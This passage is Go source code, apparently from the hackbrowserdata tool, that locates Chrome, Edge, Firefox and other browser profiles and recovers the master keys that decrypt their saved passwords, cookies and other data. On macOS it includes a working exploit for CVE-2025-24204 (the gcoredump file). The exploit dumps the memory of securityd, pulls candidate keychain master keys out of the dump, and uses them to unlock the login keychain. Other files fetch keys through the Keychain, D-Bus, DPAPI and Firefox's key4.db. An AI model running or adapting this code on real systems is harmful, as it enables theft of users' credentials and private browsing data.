for _, b := range flist {
if b != nil {
browsers = append(browsers, b)
}
}
return browsers, nil
}
func pickChromium(name, profile string) []Browser {
var browsers []Browser
name = strings.ToLower(name)
if name == "all" {
for _, v := range chromiumList {
if !fileutil.IsDirExists(filepath.Clean(v.profilePath)) {
log.Warnf("find browser failed, profile folder does not exist, browser %s", v.name)
continue
}
multiChromium, err := chromium.New(v.name, v.storage, v.profilePath, v.dataTypes)
if err != nil {
log.Errorf("new chromium error %v", err)
continue
}
for _, b := range multiChromium {
log.Warnf("find browser success, browser %s", b.Name())
browsers = append(browsers, b)
}
}
}
if c, ok := chromiumList[name]; ok {
if profile == "" {
profile = c.profilePath
}
if !fileutil.IsDirExists(filepath.Clean(profile)) {
log.Errorf("find browser failed, profile folder does not exist, browser %s", c.name)
}
chromes, err := chromium.New(c.name, c.storage, profile, c.dataTypes)
if err != nil {
log.Errorf("new chromium error %v", err)
}
for _, chrome := range chromes {
log.Warnf("find browser success, browser %s", chrome.Name())
browsers = append(browsers, chrome)
}
}
return browsers
}
func pickFirefox(name, profile string) []Browser {
var browsers []Browser
name = strings.ToLower(name)
if name == "all" || name == "firefox" {
for _, v := range firefoxList {
if profile == "" {
profile = v.profilePath
} else {
profile = fileutil.ParentDir(profile)
}
if !fileutil.IsDirExists(filepath.Clean(profile)) {
log.Warnf("find browser failed, profile folder does not exist, browser %s", v.name)
continue
}
if multiFirefox, err := firefox.New(profile, v.dataTypes); err == nil {
for _, b := range multiFirefox {
log.Warnf("find browser success, browser %s", b.Name())
browsers = append(browsers, b)
}
} else {
log.Errorf("new firefox error %v", err)
}
}
return browsers
}
return nil
}
func ListBrowsers() []string {
var l []string
l = append(l, typeutil.Keys(chromiumList)...)
l = append(l, typeutil.Keys(firefoxList)...)
sort.Strings(l)
return l
}
func Names() string {
return strings.Join(ListBrowsers(), "|")
}
================================================
FILE: browser/browser_darwin.go
================================================
//go:build darwin
package browser
import (
"github.com/moond4rk/hackbrowserdata/types"
)
var (
chromiumList = map[string]struct {
name string
storage string
profilePath string
dataTypes []types.DataType
}{
"chrome": {
name: chromeName,
storage: chromeStorageName,
profilePath: chromeProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"edge": {
name: edgeName,
storage: edgeStorageName,
profilePath: edgeProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"chromium": {
name: chromiumName,
storage: chromiumStorageName,
profilePath: chromiumProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"chrome-beta": {
name: chromeBetaName,
storage: chromeBetaStorageName,
profilePath: chromeBetaProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"opera": {
name: operaName,
profilePath: operaProfilePath,
storage: operaStorageName,
dataTypes: types.DefaultChromiumTypes,
},
"opera-gx": {
name: operaGXName,
profilePath: operaGXProfilePath,
storage: operaStorageName,
dataTypes: types.DefaultChromiumTypes,
},
"vivaldi": {
name: vivaldiName,
storage: vivaldiStorageName,
profilePath: vivaldiProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"coccoc": {
name: coccocName,
storage: coccocStorageName,
profilePath: coccocProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"brave": {
name: braveName,
profilePath: braveProfilePath,
storage: braveStorageName,
dataTypes: types.DefaultChromiumTypes,
},
"yandex": {
name: yandexName,
storage: yandexStorageName,
profilePath: yandexProfilePath,
dataTypes: types.DefaultYandexTypes,
},
"arc": {
name: arcName,
profilePath: arcProfilePath,
storage: arcStorageName,
dataTypes: types.DefaultChromiumTypes,
},
}
firefoxList = map[string]struct {
name string
storage string
profilePath string
dataTypes []types.DataType
}{
"firefox": {
name: firefoxName,
profilePath: firefoxProfilePath,
dataTypes: types.DefaultFirefoxTypes,
},
}
)
var (
chromeProfilePath = homeDir + "/Library/Application Support/Google/Chrome/Default/"
chromeBetaProfilePath = homeDir + "/Library/Application Support/Google/Chrome Beta/Default/"
chromiumProfilePath = homeDir + "/Library/Application Support/Chromium/Default/"
edgeProfilePath = homeDir + "/Library/Application Support/Microsoft Edge/Default/"
braveProfilePath = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser/Default/"
operaProfilePath = homeDir + "/Library/Application Support/com.operasoftware.Opera/Default/"
operaGXProfilePath = homeDir + "/Library/Application Support/com.operasoftware.OperaGX/Default/"
vivaldiProfilePath = homeDir + "/Library/Application Support/Vivaldi/Default/"
coccocProfilePath = homeDir + "/Library/Application Support/Coccoc/Default/"
yandexProfilePath = homeDir + "/Library/Application Support/Yandex/YandexBrowser/Default/"
arcProfilePath = homeDir + "/Library/Application Support/Arc/User Data/Default"
firefoxProfilePath = homeDir + "/Library/Application Support/Firefox/Profiles/"
)
const (
chromeStorageName = "Chrome"
chromeBetaStorageName = "Chrome"
chromiumStorageName = "Chromium"
edgeStorageName = "Microsoft Edge"
braveStorageName = "Brave"
operaStorageName = "Opera"
vivaldiStorageName = "Vivaldi"
coccocStorageName = "CocCoc"
yandexStorageName = "Yandex"
arcStorageName = "Arc"
)
================================================
FILE: browser/browser_linux.go
================================================
//go:build linux
package browser
import (
"github.com/moond4rk/hackbrowserdata/types"
)
var (
chromiumList = map[string]struct {
name string
storage string
profilePath string
dataTypes []types.DataType
}{
"chrome": {
name: chromeName,
storage: chromeStorageName,
profilePath: chromeProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"edge": {
name: edgeName,
storage: edgeStorageName,
profilePath: edgeProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"chromium": {
name: chromiumName,
storage: chromiumStorageName,
profilePath: chromiumProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"chrome-beta": {
name: chromeBetaName,
storage: chromeBetaStorageName,
profilePath: chromeBetaProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"opera": {
name: operaName,
profilePath: operaProfilePath,
storage: operaStorageName,
dataTypes: types.DefaultChromiumTypes,
},
"vivaldi": {
name: vivaldiName,
storage: vivaldiStorageName,
profilePath: vivaldiProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"brave": {
name: braveName,
profilePath: braveProfilePath,
storage: braveStorageName,
dataTypes: types.DefaultChromiumTypes,
},
}
firefoxList = map[string]struct {
name string
storage string
profilePath string
dataTypes []types.DataType
}{
"firefox": {
name: firefoxName,
profilePath: firefoxProfilePath,
dataTypes: types.DefaultFirefoxTypes,
},
}
)
var (
firefoxProfilePath = homeDir + "/.mozilla/firefox/"
chromeProfilePath = homeDir + "/.config/google-chrome/Default/"
chromiumProfilePath = homeDir + "/.config/chromium/Default/"
edgeProfilePath = homeDir + "/.config/microsoft-edge/Default/"
braveProfilePath = homeDir + "/.config/BraveSoftware/Brave-Browser/Default/"
chromeBetaProfilePath = homeDir + "/.config/google-chrome-beta/Default/"
operaProfilePath = homeDir + "/.config/opera/Default/"
vivaldiProfilePath = homeDir + "/.config/vivaldi/Default/"
)
const (
chromeStorageName = "Chrome Safe Storage"
chromiumStorageName = "Chromium Safe Storage"
edgeStorageName = "Chromium Safe Storage"
braveStorageName = "Brave Safe Storage"
chromeBetaStorageName = "Chrome Safe Storage"
operaStorageName = "Chromium Safe Storage"
vivaldiStorageName = "Chrome Safe Storage"
)
================================================
FILE: browser/browser_windows.go
================================================
//go:build windows
package browser
import (
"github.com/moond4rk/hackbrowserdata/types"
)
var (
chromiumList = map[string]struct {
name string
profilePath string
storage string
dataTypes []types.DataType
}{
"chrome": {
name: chromeName,
profilePath: chromeUserDataPath,
dataTypes: types.DefaultChromiumTypes,
},
"edge": {
name: edgeName,
profilePath: edgeProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"chromium": {
name: chromiumName,
profilePath: chromiumUserDataPath,
dataTypes: types.DefaultChromiumTypes,
},
"chrome-beta": {
name: chromeBetaName,
profilePath: chromeBetaUserDataPath,
dataTypes: types.DefaultChromiumTypes,
},
"opera": {
name: operaName,
profilePath: operaProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"opera-gx": {
name: operaGXName,
profilePath: operaGXProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"vivaldi": {
name: vivaldiName,
profilePath: vivaldiProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"coccoc": {
name: coccocName,
profilePath: coccocProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"brave": {
name: braveName,
profilePath: braveProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"yandex": {
name: yandexName,
profilePath: yandexProfilePath,
dataTypes: types.DefaultYandexTypes,
},
"360": {
name: speed360Name,
profilePath: speed360ProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"qq": {
name: qqBrowserName,
profilePath: qqBrowserProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"dc": {
name: dcBrowserName,
profilePath: dcBrowserProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"sogou": {
name: sogouName,
profilePath: sogouProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
}
firefoxList = map[string]struct {
name string
storage string
profilePath string
dataTypes []types.DataType
}{
"firefox": {
name: firefoxName,
profilePath: firefoxProfilePath,
dataTypes: types.DefaultFirefoxTypes,
},
}
)
var (
chromeUserDataPath = homeDir + "/AppData/Local/Google/Chrome/User Data/Default/"
chromeBetaUserDataPath = homeDir + "/AppData/Local/Google/Chrome Beta/User Data/Default/"
chromiumUserDataPath = homeDir + "/AppData/Local/Chromium/User Data/Default/"
edgeProfilePath = homeDir + "/AppData/Local/Microsoft/Edge/User Data/Default/"
braveProfilePath = homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/"
speed360ProfilePath = homeDir + "/AppData/Local/360chrome/Chrome/User Data/Default/"
qqBrowserProfilePath = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/Default/"
operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/"
operaGXProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/"
vivaldiProfilePath = homeDir + "/AppData/Local/Vivaldi/User Data/Default/"
coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/Default/"
yandexProfilePath = homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data/Default/"
dcBrowserProfilePath = homeDir + "/AppData/Local/DCBrowser/User Data/Default/"
sogouProfilePath = homeDir + "/AppData/Roaming/SogouExplorer/Webkit/Default/"
firefoxProfilePath = homeDir + "/AppData/Roaming/Mozilla/Firefox/Profiles/"
)
================================================
FILE: browser/chromium/chromium.go
================================================
package chromium
import (
"io/fs"
"os"
"path/filepath"
"strings"
"github.com/moond4rk/hackbrowserdata/browserdata"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
type Chromium struct {
name string
storage string
profilePath string
masterKey []byte
dataTypes []types.DataType
Paths map[types.DataType]string
}
// New create instance of Chromium browser, fill item's path if item is existed.
func New(name, storage, profilePath string, dataTypes []types.DataType) ([]*Chromium, error) {
c := &Chromium{
name: name,
storage: storage,
profilePath: profilePath,
dataTypes: dataTypes,
}
multiDataTypePaths, err := c.userDataTypePaths(c.profilePath, c.dataTypes)
if err != nil {
return nil, err
}
chromiumList := make([]*Chromium, 0, len(multiDataTypePaths))
for user, itemPaths := range multiDataTypePaths {
chromiumList = append(chromiumList, &Chromium{
name: fileutil.BrowserName(name, user),
dataTypes: typeutil.Keys(itemPaths),
Paths: itemPaths,
storage: storage,
})
}
return chromiumList, nil
}
func (c *Chromium) Name() string {
return c.name
}
func (c *Chromium) BrowsingData(isFullExport bool) (*browserdata.BrowserData, error) {
// delete chromiumKey from dataTypes, doesn't need to export key
var dataTypes []types.DataType
for _, dt := range c.dataTypes {
if dt != types.ChromiumKey {
dataTypes = append(dataTypes, dt)
}
}
if !isFullExport {
dataTypes = types.FilterSensitiveItems(c.dataTypes)
}
data := browserdata.New(dataTypes)
if err := c.copyItemToLocal(); err != nil {
return nil, err
}
masterKey, err := c.GetMasterKey()
if err != nil {
return nil, err
}
c.masterKey = masterKey
if err := data.Recovery(c.masterKey); err != nil {
return nil, err
}
return data, nil
}
func (c *Chromium) copyItemToLocal() error {
for i, path := range c.Paths {
filename := i.TempFilename()
var err error
switch {
case fileutil.IsDirExists(path):
if i == types.ChromiumLocalStorage {
err = fileutil.CopyDir(path, filename, "lock")
}
if i == types.ChromiumSessionStorage {
err = fileutil.CopyDir(path, filename, "lock")
}
default:
err = fileutil.CopyFile(path, filename)
}
if err != nil {
log.Errorf("copy item to local, path %s, filename %s err %v", path, filename, err)
continue
}
}
return nil
}
// userDataTypePaths return a map of user to item path, map[profile 1][item's name & path key pair]
func (c *Chromium) userDataTypePaths(profilePath string, items []types.DataType) (map[string]map[types.DataType]string, error) {
multiItemPaths := make(map[string]map[types.DataType]string)
parentDir := fileutil.ParentDir(profilePath)
err := filepath.Walk(parentDir, chromiumWalkFunc(items, multiItemPaths))
if err != nil {
return nil, err
}
var keyPath string
var dir string
for userDir, profiles := range multiItemPaths {
for _, profile := range profiles {
if strings.HasSuffix(profile, types.ChromiumKey.Filename()) {
keyPath = profile
dir = userDir
break
}
}
}
t := make(map[string]map[types.DataType]string)
for userDir, v := range multiItemPaths {
if userDir == dir {
continue
}
t[userDir] = v
t[userDir][types.ChromiumKey] = keyPath
fillLocalStoragePath(t[userDir], types.ChromiumLocalStorage)
}
return t, nil
}
// chromiumWalkFunc return a filepath.WalkFunc to find item's path
func chromiumWalkFunc(items []types.DataType, multiItemPaths map[string]map[types.DataType]string) filepath.WalkFunc {
return func(path string, info fs.FileInfo, err error) error {
if err != nil {
if os.IsPermission(err) {
log.Warnf("skipping walk chromium path permission error, path %s, err %v", path, err)
return nil
}
return err
}
for _, v := range items {
if info.Name() != v.Filename() {
continue
}
if strings.Contains(path, "System Profile") {
continue
}
if strings.Contains(path, "Snapshot") {
continue
}
if strings.Contains(path, "def") {
continue
}
profileFolder := fileutil.ParentBaseDir(path)
if strings.Contains(filepath.ToSlash(path), "/Network/Cookies") {
profileFolder = fileutil.BaseDir(strings.ReplaceAll(filepath.ToSlash(path), "/Network/Cookies", ""))
}
if _, exist := multiItemPaths[profileFolder]; exist {
multiItemPaths[profileFolder][v] = path
} else {
multiItemPaths[profileFolder] = map[types.DataType]string{v: path}
}
}
return nil
}
}
func fillLocalStoragePath(itemPaths map[types.DataType]string, storage types.DataType) {
if p, ok := itemPaths[types.ChromiumHistory]; ok {
lsp := filepath.Join(filepath.Dir(p), storage.Filename())
if fileutil.IsDirExists(lsp) {
itemPaths[types.ChromiumLocalStorage] = lsp
}
}
}
================================================
FILE: browser/chromium/chromium_darwin.go
================================================
//go:build darwin
package chromium
import (
"bytes"
"crypto/sha1"
"errors"
"fmt"
"os"
"os/exec"
"strings"
"github.com/moond4rk/hackbrowserdata/browser/exploit/gcoredump"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
)
var (
errWrongSecurityCommand = errors.New("wrong security command")
errCouldNotFindInKeychain = errors.New("could not be find in keychain")
)
func (c *Chromium) GetMasterKey() ([]byte, error) {
// don't need chromium key file for macOS
defer os.Remove(types.ChromiumKey.TempFilename())
// Try get the master key via gcoredump(CVE-2025-24204)
secret, err := gcoredump.DecryptKeychain(c.storage)
if err == nil && secret != "" {
log.Debugf("get master key via gcoredump(CVE-2025-24204) success, browser %s", c.name)
if key, err := c.parseSecret([]byte(secret)); err == nil {
return key, nil
}
} else {
log.Warnf("get master key via gcoredump(CVE-2025-24204) failed: %v, skipping...", err)
}
// Get the master key from the keychain
// $ security find-generic-password -wa 'Chrome'
var (
stdout, stderr bytes.Buffer
)
cmd := exec.Command("security", "find-generic-password", "-wa", strings.TrimSpace(c.storage)) //nolint:gosec
cmd.Stdout = &stdout
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
return nil, fmt.Errorf("run security command failed: %w, message %s", err, stderr.String())
}
if stderr.Len() > 0 {
if strings.Contains(stderr.String(), "could not be found") {
return nil, errCouldNotFindInKeychain
}
return nil, errors.New(stderr.String())
}
return c.parseSecret(stdout.Bytes())
}
func (c *Chromium) parseSecret(secret []byte) ([]byte, error) {
secret = bytes.TrimSpace(secret)
if len(secret) == 0 {
return nil, errWrongSecurityCommand
}
salt := []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
key := crypto.PBKDF2Key(secret, salt, 1003, 16, sha1.New)
if key == nil {
return nil, errWrongSecurityCommand
}
c.masterKey = key
log.Debugf("get master key success, browser %s", c.name)
return key, nil
}
================================================
FILE: browser/chromium/chromium_linux.go
================================================
//go:build linux
package chromium
import (
"crypto/sha1"
"fmt"
"os"
"github.com/godbus/dbus/v5"
keyring "github.com/ppacher/go-dbus-keyring"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
)
func (c *Chromium) GetMasterKey() ([]byte, error) {
// what is d-bus @https://dbus.freedesktop.org/
// don't need chromium key file for Linux
defer os.Remove(types.ChromiumKey.TempFilename())
conn, err := dbus.SessionBus()
if err != nil {
return nil, err
}
svc, err := keyring.GetSecretService(conn)
if err != nil {
return nil, err
}
session, err := svc.OpenSession()
if err != nil {
return nil, err
}
defer func() {
if err := session.Close(); err != nil {
log.Errorf("close dbus session error: %v", err)
}
}()
collections, err := svc.GetAllCollections()
if err != nil {
return nil, err
}
var secret []byte
for _, col := range collections {
items, err := col.GetAllItems()
if err != nil {
return nil, err
}
for _, i := range items {
label, err := i.GetLabel()
if err != nil {
log.Warnf("get label from dbus: %v", err)
continue
}
if label == c.storage {
se, err := i.GetSecret(session.Path())
if err != nil {
return nil, fmt.Errorf("get storage from dbus: %w", err)
}
secret = se.Value
}
}
}
if len(secret) == 0 {
// set default secret @https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/os_crypt_linux.cc;l=100
secret = []byte("peanuts")
}
salt := []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_linux.cc
key := crypto.PBKDF2Key(secret, salt, 1, 16, sha1.New)
c.masterKey = key
log.Debugf("get master key success, browser %s", c.name)
return key, nil
}
================================================
FILE: browser/chromium/chromium_windows.go
================================================
//go:build windows
package chromium
import (
"encoding/base64"
"errors"
"os"
"github.com/tidwall/gjson"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)
var errDecodeMasterKeyFailed = errors.New("decode master key failed")
func (c *Chromium) GetMasterKey() ([]byte, error) {
b, err := fileutil.ReadFile(types.ChromiumKey.TempFilename())
if err != nil {
return nil, err
}
defer os.Remove(types.ChromiumKey.TempFilename())
encryptedKey := gjson.Get(b, "os_crypt.encrypted_key")
if !encryptedKey.Exists() {
return nil, nil
}
key, err := base64.StdEncoding.DecodeString(encryptedKey.String())
if err != nil {
return nil, errDecodeMasterKeyFailed
}
c.masterKey, err = crypto.DecryptWithDPAPI(key[5:])
if err != nil {
log.Errorf("decrypt master key failed, err %v", err)
return nil, err
}
log.Debugf("get master key success, browser %s", c.name)
return c.masterKey, nil
}
================================================
FILE: browser/consts.go
================================================
package browser
import (
"os"
)
// home dir path for all platforms
var homeDir, _ = os.UserHomeDir()
const (
chromeName = "Chrome"
chromeBetaName = "Chrome Beta"
chromiumName = "Chromium"
edgeName = "Microsoft Edge"
braveName = "Brave"
operaName = "Opera"
operaGXName = "OperaGX"
vivaldiName = "Vivaldi"
coccocName = "CocCoc"
yandexName = "Yandex"
firefoxName = "Firefox"
speed360Name = "360speed"
qqBrowserName = "QQ"
dcBrowserName = "DC"
sogouName = "Sogou"
arcName = "Arc"
)
================================================
FILE: browser/exploit/gcoredump/gcoredump.go
================================================
//go:build darwin
package gcoredump
// CVE-2025-24204
// Logic ported from https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain
// https://support.apple.com/en-us/122373
import (
"debug/macho"
"encoding/binary"
"errors"
"fmt"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"time"
"unsafe"
"golang.org/x/sys/unix"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/chainbreaker"
)
var (
homeDir, _ = os.UserHomeDir()
LoginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db"
)
func GetMacOSVersion() string {
v, err := unix.Sysctl("kern.osproductversion")
if err == nil {
return v
}
return ""
}
func FindProcessByName(name string, forceRoot bool) (int, error) {
buf, err := unix.SysctlRaw("kern.proc.all")
if err != nil {
return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err)
}
kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{}))
if len(buf)%kinfoSize != 0 {
return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length")
}
count := len(buf) / kinfoSize
for i := 0; i < count; i++ {
proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize]))
// P_comm is [16]byte on Darwin (in newer x/sys/unix versions)
pname := byteSliceToString(proc.Proc.P_comm[:])
if pname == name {
// Note: P_ppid is in Eproc on some versions, but usually in ExternProc.
// In golang.org/x/sys/unix for Darwin, ExternProc has P_ppid.
// If P_ppid is missing, we can rely on P_ruid.
if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 {
return int(proc.Proc.P_pid), nil
}
}
}
return 0, fmt.Errorf("securityd process not found")
}
type addressRange struct {
start uint64
end uint64
}
func DecryptKeychain(storagename string) (string, error) {
if os.Geteuid() != 0 {
return "", errors.New("requires root privileges")
}
// find securityd PID
pid, err := FindProcessByName("securityd", true)
if err != nil {
return "", fmt.Errorf("failed to find securityd pid: %w", err)
}
corePath := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano()))
defer os.Remove(corePath)
// dump securityd memory:
// gcore -d -s -v -o core_path PID
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePath, strconv.Itoa(pid))
if err := cmd.Run(); err != nil {
return "", fmt.Errorf("failed to dump securityd memory: %w", err)
}
// find MALLOC_SMALL regions
regions, err := findMallocSmallRegions(pid)
if err != nil {
return "", fmt.Errorf("failed to find malloc small regions: %w", err)
}
// open core dump
cmf, err := macho.Open(corePath)
if err != nil {
return "", fmt.Errorf("failed to open core dump: %w", err)
}
defer cmf.Close()
// scan regions
var candidates []string
seen := make(map[string]struct{})
for _, region := range regions {
// read region data
data, vaddr, err := getMallocSmallRegionData(cmf, region)
if err != nil {
// Region might not be in core dump or other error, skip
continue
}
// Search for pattern
// 0x18 (8 bytes) followed by pointer (8 bytes)
for i := 0; i < len(data)-16; i += 8 {
val := binary.LittleEndian.Uint64(data[i : i+8])
if val == 0x18 {
ptr := binary.LittleEndian.Uint64(data[i+8 : i+16])
if ptr >= region.start && ptr <= region.end {
offset := ptr - vaddr
if offset+0x18 <= uint64(len(data)) {
masterKey := make([]byte, 0x18)
copy(masterKey, data[offset:offset+0x18])
keyStr := fmt.Sprintf("%x", masterKey)
if _, found := seen[keyStr]; !found {
candidates = append(candidates, keyStr)
seen[keyStr] = struct{}{}
log.Debugf("Found master key candidate: %s @ 0x%x", keyStr, ptr)
}
}
}
}
}
}
// fuzz master key candidates
for _, candidate := range candidates {
kc, err := chainbreaker.New(LoginKeychainPath, candidate)
if err != nil {
log.Debugf("Failed to unlock keychain: %v", err)
continue
}
records, err := kc.DumpGenericPasswords()
if err != nil {
log.Debugf("Failed to unlock keychain: %v", err)
continue
}
for _, rec := range records {
if rec.Account == storagename {
// TODO decode base64 password
if rec.PasswordBase64 {
}
return rec.Password, nil
}
}
}
return "", nil
}
func findMallocSmallRegions(pid int) ([]addressRange, error) {
cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid))
output, err := cmd.Output()
if err != nil {
return nil, err
}
var regions []addressRange
lines := strings.Split(string(output), "\n")
for _, line := range lines {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "MALLOC_SMALL") {
parts := strings.Fields(line)
if len(parts) < 2 {
continue
}
rangeStr := parts[1]
rangeParts := strings.Split(rangeStr, "-")
if len(rangeParts) != 2 {
continue
}
start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64)
if err != nil {
continue
}
end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64)
if err != nil {
continue
}
regions = append(regions, addressRange{start: start, end: end})
}
}
return regions, nil
}
func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) {
for _, seg := range f.Loads {
if s, ok := seg.(*macho.Segment); ok {
if s.Addr == region.start && s.Addr+s.Memsz == region.end {
data := make([]byte, s.Filesz)
_, err := s.ReadAt(data, 0)
if err != nil {
return nil, 0, err
}
return data, s.Addr, nil
}
}
}
return nil, 0, fmt.Errorf("region not found in core dump")
}
func byteSliceToString(s []byte) string {
for i, v := range s {
if v == 0 {
return string(s[:i])
}
}
return string(s)
}
================================================
FILE: browser/firefox/firefox.go
================================================
package firefox
import (
"bytes"
"database/sql"
"encoding/base64"
"errors"
"fmt"
"io/fs"
"os"
"path/filepath"
"github.com/tidwall/gjson"
_ "modernc.org/sqlite" // sqlite3 driver TODO: replace with chooseable driver
"github.com/moond4rk/hackbrowserdata/browserdata"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
type Firefox struct {
name string
storage string
profilePath string
masterKey []byte
items []types.DataType
itemPaths map[types.DataType]string
}
var ErrProfilePathNotFound = errors.New("profile path not found")
// New returns new Firefox instances.
func New(profilePath string, items []types.DataType) ([]*Firefox, error) {
multiItemPaths := make(map[string]map[types.DataType]string)
// ignore walk dir error since it can be produced by a single entry
_ = filepath.WalkDir(profilePath, firefoxWalkFunc(items, multiItemPaths))
firefoxList := make([]*Firefox, 0, len(multiItemPaths))
for name, itemPaths := range multiItemPaths {
firefoxList = append(firefoxList, &Firefox{
name: fmt.Sprintf("firefox-%s", name),
items: typeutil.Keys(itemPaths),
itemPaths: itemPaths,
})
}
return firefoxList, nil
}
func (f *Firefox) copyItemToLocal() error {
for i, path := range f.itemPaths {
filename := i.TempFilename()
if err := fileutil.CopyFile(path, filename); err != nil {
return err
}
}
return nil
}
func firefoxWalkFunc(items []types.DataType, multiItemPaths map[string]map[types.DataType]string) fs.WalkDirFunc {
return func(path string, info fs.DirEntry, err error) error {
if err != nil {
if os.IsPermission(err) {
log.Warnf("skipping walk firefox path %s permission error: %v", path, err)
return nil
}
return err
}
for _, v := range items {
if info.Name() == v.Filename() {
parentBaseDir := fileutil.ParentBaseDir(path)
if _, exist := multiItemPaths[parentBaseDir]; exist {
multiItemPaths[parentBaseDir][v] = path
} else {
multiItemPaths[parentBaseDir] = map[types.DataType]string{v: path}
}
}
}
return nil
}
}
// GetMasterKey returns master key of Firefox. from key4.db
func (f *Firefox) GetMasterKey() ([]byte, error) {
tempFilename := types.FirefoxKey4.TempFilename()
// Open and defer close of the database.
keyDB, err := sql.Open("sqlite", tempFilename)
if err != nil {
return nil, fmt.Errorf("open key4.db error: %w", err)
}
defer os.Remove(tempFilename)
defer keyDB.Close()
metaItem1, metaItem2, err := queryMetaData(keyDB)
if err != nil {
return nil, fmt.Errorf("query metadata error: %w", err)
}
candidates, err := queryNssPrivateCandidates(keyDB)
if err != nil {
return nil, fmt.Errorf("query NSS private error: %w", err)
}
loginCipherPairs, _ := getFirefoxLoginCipherPairs()
var (
fallbackKey []byte
lastErr error
)
for _, c := range candidates {
masterKey, err := processMasterKey(metaItem1, metaItem2, c.a11, c.a102)
if err != nil {
lastErr = err
continue
}
if fallbackKey == nil {
fallbackKey = masterKey
}
if len(loginCipherPairs) == 0 {
return masterKey, nil
}
if canDecryptAnyLoginCipherPair(masterKey, loginCipherPairs) {
return masterKey, nil
}
}
if fallbackKey != nil {
return fallbackKey, nil
}
if lastErr != nil {
return nil, lastErr
}
return nil, errors.New("no valid firefox master key found in nssPrivate")
}
func queryMetaData(db *sql.DB) ([]byte, []byte, error) {
const query = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
var metaItem1, metaItem2 []byte
if err := db.QueryRow(query).Scan(&metaItem1, &metaItem2); err != nil {
return nil, nil, err
}
return metaItem1, metaItem2, nil
}
type nssPrivateCandidate struct {
a11 []byte
a102 []byte
}
func queryNssPrivateCandidates(db *sql.DB) ([]nssPrivateCandidate, error) {
const query = `SELECT a11, a102 FROM nssPrivate`
rows, err := db.Query(query)
if err != nil {
return nil, err
}
defer rows.Close()
var candidates []nssPrivateCandidate
for rows.Next() {
var c nssPrivateCandidate
if err := rows.Scan(&c.a11, &c.a102); err != nil {
return nil, err
}
candidates = append(candidates, c)
}
if err := rows.Err(); err != nil {
return nil, err
}
if len(candidates) == 0 {
return nil, errors.New("nssPrivate is empty")
}
return candidates, nil
}
func queryNssPrivate(db *sql.DB) ([]byte, []byte, error) {
// Keep this helper for backward compatibility in tests.
candidates, err := queryNssPrivateCandidates(db)
if err != nil {
return nil, nil, err
}
return candidates[0].a11, candidates[0].a102, nil
}
type loginCipherPair struct {
username []byte
password []byte
}
func getFirefoxLoginCipherPairs() ([]loginCipherPair, error) {
raw, err := os.ReadFile(types.FirefoxPassword.TempFilename())
if err != nil {
return nil, err
}
arr := gjson.GetBytes(raw, "logins").Array()
pairs := make([]loginCipherPair, 0, len(arr))
for _, v := range arr {
uEnc := v.Get("encryptedUsername").String()
